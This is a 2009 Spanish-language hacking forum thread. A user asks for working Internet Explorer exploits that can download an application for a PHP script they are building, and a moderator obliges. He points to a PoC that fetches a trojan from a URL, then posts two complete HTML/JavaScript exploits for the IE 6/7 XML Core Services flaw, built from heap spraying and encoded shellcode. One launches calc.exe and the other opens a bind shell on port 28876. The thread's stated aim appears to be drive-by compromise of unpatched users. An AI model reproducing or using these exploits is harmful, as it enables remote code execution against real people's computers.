elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:10  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit XML InternetExplorer [?]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit XML InternetExplorer [?]  (Leído 2,508 veces)
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Exploit XML InternetExplorer [?]
« en: 2 Agosto 2009, 22:42 »

Bueno, estoy buscando exploits actuales para el Internet Explorer, este me parecio muy interesante pero no lo he conseguido hacer funcionar, alguien lo ha probado?
XML Parsing Buffer Overflow: http://www.milw0rm.com/exploits/7410

Un saludo.


En línea
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.203


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #1 en: 2 Agosto 2009, 22:49 »

Citar
Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
    // Heap spray address adjusted for Vista - muts / offensive-security.com

se ajusta esto a tu configuración??

tienes los scripts activados?
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #2 en: 2 Agosto 2009, 23:08 »

Se ajusta perfectamente y tengo los scripts activados...Hay que modificar algo en el exploit? Lo has provado?

Un saludo y gracias por la ayuda!!
En línea
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.203


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #3 en: 2 Agosto 2009, 23:16 »

no, no uso explorer ni win :p, debería ir, asegúrate que la versión de wxplorer es la correcta y que no ha sido parcheada
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #4 en: 3 Agosto 2009, 02:33 »

No necesito exactamente este exploit, pero uno parecido, para el IE, si alguien sabe de exploits funcionales en IE, me haria un gran favir posteandolos...

Un saludo.
En línea
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.127



Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #5 en: 20 Agosto 2009, 12:27 »

@akrana

Todos los exploits para IE publicos me han ido bien en Win32/Vista, buscas algo en particular?

-berz3k.
En línea
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #6 en: 20 Agosto 2009, 14:31 »

Bueno, lo que busco son exploits para navegadores, que me permitan descargar una aplicacion. Los quiero para utilizarlos en un script en php que estoy programando. Llevo liado con esto un buen tiempo, pero de momento sigo sin encontrar lo que busco...
Este exploit lo probe hace un tiempo, y no consegui hacerlo funcionar.
Si podemos hablar por MP o msn te lo agradeceria.

Un saludo, akrana.
En línea
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.127



Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #7 en: 25 Agosto 2009, 13:32 »

Mmmm te sera mas facil explotar algo relacionado con un ActiveX + IE, por aca te dejo un PoC que hice hace tiempo, te podra dar ideas y buenos resultados para lo que investigas, basicamente exploita el ActiveX y descarga algun troyano de alguna URL que especifiques:

Microsoft Access SnapView.ocx remote exploit

:http://foro.elhacker.net/bugs_y_exploits/microsoft_access_snapviewocx_remote_exploit_solucionado-t241945.0.html;msg1163468;topicseen#msg1163468

-berz3k.
En línea
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #8 en: 26 Agosto 2009, 04:22 »

Hola berz3k, lo primero muchas gracias por la info ;D, me a resultado de gran ayuda, pero lo que estoy buscando son exploits para navegadores. Me puedes pasar tu documentacion sobre esto??

Un saludo y gracias.
En línea
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.127



Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #9 en: 28 Agosto 2009, 15:57 »

Te muestro algunos ejemplos para explotar IE 6/7 , recordemos que actualmente estamos en la version 8, pero seguramente algunos users alrededor del mundo siguen usando viejas versiones.

MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit

Exploit:

Código:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit
-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");

sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>

Resultado del exploit ejecucion del calc.exe de forma remota:




MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit II, PoC PORTBIND 28876

Exploit:

Código:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">

<!--

Proof Of Concept

MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit

A simple "lamme" changes to execute the shellcode and have a portbind on remote
machine in the port 28876, rename this file to PoC.html.

by Alex Hernandez aka alt3kx!

-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};


sh = unescape ("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");


sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>

Como resultado del expoloit obtenemos nuetra shell en escucha PUERTO 28876:



-berz3k.












« Última modificación: 28 Agosto 2009, 15:59 por berz3k » En línea
akrana

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Exploit XML InternetExplorer [?]
« Respuesta #10 en: 28 Agosto 2009, 16:46 »

Muchisimas gracias, me es de gran ayuda!! ;-) Ya te comentare si tengo alguna duda si no te improta.

Un saludo, akrana.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines